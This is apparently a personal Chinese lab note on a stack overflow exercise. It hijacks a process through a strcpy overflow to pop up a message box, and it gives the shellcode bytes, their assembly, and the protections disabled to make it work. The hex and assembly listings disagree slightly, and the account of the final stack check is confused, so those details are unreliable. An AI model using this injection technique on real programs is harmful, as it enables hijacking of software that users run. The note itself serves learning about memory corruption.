今天做了一个栈溢出实验,主要目的是弹出一个对话框。还是用老办法,利用strcpy拷贝字符串时的漏洞,输入较长的字符串产生溢出,覆盖返回地址,从而劫持进程。
产生对话框部分字符串的是:33DB5368 7765737468 6661696C68 6661696C8BC453505053B8 71EAD677FFD0
对应汇编是:
33DB xor ebx,ebx 53 push ebx 68 77657374 push 74736577 68 6661696C push 6C696166 8BC4 mov eax,esp 53 push ebx 50 push eax 50 push eax 53 push ebx B8 71EAD677 mov eax,77D6EA71//自己机子的 FFD0 call eax
我用的环境是Visual Stdio 2010,关闭GS栈溢出保护,DEP执行数据保和随机基址。但是运行时,进程还是检测到栈溢出,提示错误,结束进程。跟踪进程发现,进程还有一个检测栈溢出的机制。
当一个函数里面有调用strcpy函数时,在本函数准备返回时,在检测返回地址EBP-0x6处的数据dat与0xCCCCCCCC,进行比较,即cmp dat,CCCCCCCC,如果相等会ZF=0,溢出栈破坏了。